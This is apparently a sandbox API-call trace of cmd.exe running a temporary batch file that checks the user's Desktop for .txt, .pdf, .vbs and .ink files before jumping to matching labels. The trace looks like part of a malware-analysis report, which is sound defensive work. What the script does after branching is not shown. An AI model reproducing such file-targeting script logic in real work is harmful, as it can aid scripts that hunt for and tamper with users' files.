[0039.618] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.619] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.619] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.619] SetConsoleInputExeNameW () returned 0x1 [0039.619] GetConsoleOutputCP () returned 0x1b5 [0039.619] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.619] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.655] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.655] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.655] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.655] SetFilePointer (in: hFile=0x74, lDistanceToMove=133, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0039.655] GetProcessHeap () returned 0x4e0000 [0039.655] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.655] GetProcessHeap () returned 0x4e0000 [0039.656] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.656] GetProcessHeap () returned 0x4e0000 [0039.656] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.656] GetProcessHeap () returned 0x4e0000 [0039.656] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.656] GetProcessHeap () returned 0x4e0000 [0039.656] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.656] GetProcessHeap () returned 0x4e0000 [0039.656] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.656] GetProcessHeap () returned 0x4e0000 [0039.656] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.656] GetProcessHeap () returned 0x4e0000 [0039.656] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.656] GetProcessHeap () returned 0x4e0000 [0039.656] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.656] GetProcessHeap () returned 0x4e0000 [0039.656] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.656] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.656] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x85 [0039.656] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.657] SetFilePointer (in: hFile=0x74, lDistanceToMove=135, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0039.657] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.ink goto ink\r\n\n\n") returned 2 [0039.657] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.657] GetFileType (hFile=0x74) returned 0x1 [0039.657] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.657] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0039.657] GetProcessHeap () returned 0x4e0000 [0039.657] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.657] GetProcessHeap () returned 0x4e0000 [0039.657] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.657] _tell (_FileHandle=3) returned 135 [0039.657] _close (_FileHandle=3) returned 0 [0039.657] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.658] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.658] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.658] SetFilePointer (in: hFile=0x74, lDistanceToMove=135, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0039.658] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.658] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x87 [0039.658] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.658] SetFilePointer (in: hFile=0x74, lDistanceToMove=160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0039.658] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.txt goto txt\r\n\n\n") returned 25 [0039.658] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.658] GetFileType (hFile=0x74) returned 0x1 [0039.658] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.658] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0039.658] GetProcessHeap () returned 0x4e0000 [0039.658] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.658] GetProcessHeap () returned 0x4e0000 [0039.659] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.659] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.659] GetProcessHeap () returned 0x4e0000 [0039.659] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.659] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.659] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.659] GetProcessHeap () returned 0x4e0000 [0039.659] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.659] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.659] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.659] GetProcessHeap () returned 0x4e0000 [0039.659] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.659] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.659] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.659] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.659] GetProcessHeap () returned 0x4e0000 [0039.659] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.659] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.659] GetProcessHeap () returned 0x4e0000 [0039.659] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.660] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.660] GetProcessHeap () returned 0x4e0000 [0039.660] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.660] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.661] _tell (_FileHandle=3) returned 160 [0039.661] _close (_FileHandle=3) returned 0 [0039.661] GetFullPathNameW (in: lpFileName="*.txt", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", lpFilePart=0x41eea8*="*.txt") returned 0x2b [0039.661] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.661] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.661] GetLastError () returned 0x2 [0039.661] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.661] GetLastError () returned 0x6 [0039.661] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.661] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.662] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.662] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.662] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.662] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.663] SetConsoleInputExeNameW () returned 0x1 [0039.663] GetConsoleOutputCP () returned 0x1b5 [0039.663] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.663] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.663] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.663] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.663] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.663] SetFilePointer (in: hFile=0x74, lDistanceToMove=160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0039.663] GetProcessHeap () returned 0x4e0000 [0039.663] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.664] GetProcessHeap () returned 0x4e0000 [0039.664] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.664] GetProcessHeap () returned 0x4e0000 [0039.664] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.664] GetProcessHeap () returned 0x4e0000 [0039.664] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.664] GetProcessHeap () returned 0x4e0000 [0039.664] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.664] GetProcessHeap () returned 0x4e0000 [0039.664] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.664] GetProcessHeap () returned 0x4e0000 [0039.664] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.664] GetProcessHeap () returned 0x4e0000 [0039.664] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.664] GetProcessHeap () returned 0x4e0000 [0039.664] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.664] GetProcessHeap () returned 0x4e0000 [0039.664] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.664] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.664] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa0 [0039.664] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.664] SetFilePointer (in: hFile=0x74, lDistanceToMove=162, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0039.665] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.txt goto txt\r\n\n\n") returned 2 [0039.665] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.665] GetFileType (hFile=0x74) returned 0x1 [0039.665] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.665] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0039.665] GetProcessHeap () returned 0x4e0000 [0039.665] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.665] GetProcessHeap () returned 0x4e0000 [0039.665] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.665] _tell (_FileHandle=3) returned 162 [0039.665] _close (_FileHandle=3) returned 0 [0039.665] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.665] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.665] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.665] SetFilePointer (in: hFile=0x74, lDistanceToMove=162, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0039.666] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.666] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xa2 [0039.666] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.666] SetFilePointer (in: hFile=0x74, lDistanceToMove=187, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0039.666] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.pdf goto pdf\r\n\n\n") returned 25 [0039.666] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.666] GetFileType (hFile=0x74) returned 0x1 [0039.666] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.666] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0039.666] GetProcessHeap () returned 0x4e0000 [0039.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.666] GetProcessHeap () returned 0x4e0000 [0039.666] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.666] GetProcessHeap () returned 0x4e0000 [0039.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.666] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.666] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.666] GetProcessHeap () returned 0x4e0000 [0039.666] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.667] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.667] GetProcessHeap () returned 0x4e0000 [0039.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.667] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.667] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.667] GetProcessHeap () returned 0x4e0000 [0039.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.667] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.667] GetProcessHeap () returned 0x4e0000 [0039.667] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.667] GetProcessHeap () returned 0x4e0000 [0039.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.667] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.668] _tell (_FileHandle=3) returned 187 [0039.668] _close (_FileHandle=3) returned 0 [0039.668] GetFullPathNameW (in: lpFileName="*.pdf", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", lpFilePart=0x41eea8*="*.pdf") returned 0x2b [0039.668] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.668] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.669] GetLastError () returned 0x2 [0039.669] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.669] GetLastError () returned 0x6 [0039.669] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.669] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.669] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.669] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.669] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.669] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.670] SetConsoleInputExeNameW () returned 0x1 [0039.670] GetConsoleOutputCP () returned 0x1b5 [0039.670] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.670] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.670] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.670] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.670] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.670] SetFilePointer (in: hFile=0x74, lDistanceToMove=187, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0039.670] GetProcessHeap () returned 0x4e0000 [0039.670] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.670] GetProcessHeap () returned 0x4e0000 [0039.670] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.670] GetProcessHeap () returned 0x4e0000 [0039.670] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.671] GetProcessHeap () returned 0x4e0000 [0039.671] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.671] GetProcessHeap () returned 0x4e0000 [0039.671] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.671] GetProcessHeap () returned 0x4e0000 [0039.671] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.671] GetProcessHeap () returned 0x4e0000 [0039.671] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.671] GetProcessHeap () returned 0x4e0000 [0039.671] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.671] GetProcessHeap () returned 0x4e0000 [0039.671] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.671] GetProcessHeap () returned 0x4e0000 [0039.671] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.671] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.671] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xbb [0039.671] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.671] SetFilePointer (in: hFile=0x74, lDistanceToMove=212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0039.671] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.vbs goto vbs\r\n\n\n") returned 25 [0039.671] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.671] GetFileType (hFile=0x74) returned 0x1 [0039.672] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.672] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0039.672] GetProcessHeap () returned 0x4e0000 [0039.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.672] GetProcessHeap () returned 0x4e0000 [0039.672] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.672] GetProcessHeap () returned 0x4e0000 [0039.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.672] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.672] GetProcessHeap () returned 0x4e0000 [0039.672] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.672] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.672] GetProcessHeap () returned 0x4e0000 [0039.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.672] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.672] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.672] GetProcessHeap () returned 0x4e0000 [0039.672] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.673] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.673] GetProcessHeap () returned 0x4e0000 [0039.673] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.673] GetProcessHeap () returned 0x4e0000 [0039.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.673] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.674] _tell (_FileHandle=3) returned 212 [0039.674] _close (_FileHandle=3) returned 0 [0039.674] GetFullPathNameW (in: lpFileName="*.vbs", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", lpFilePart=0x41eea8*="*.vbs") returned 0x2b [0039.674] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.674] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.674] GetLastError () returned 0x2 [0039.674] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.674] GetLastError () returned 0x6 [0039.674] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.674] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.675] 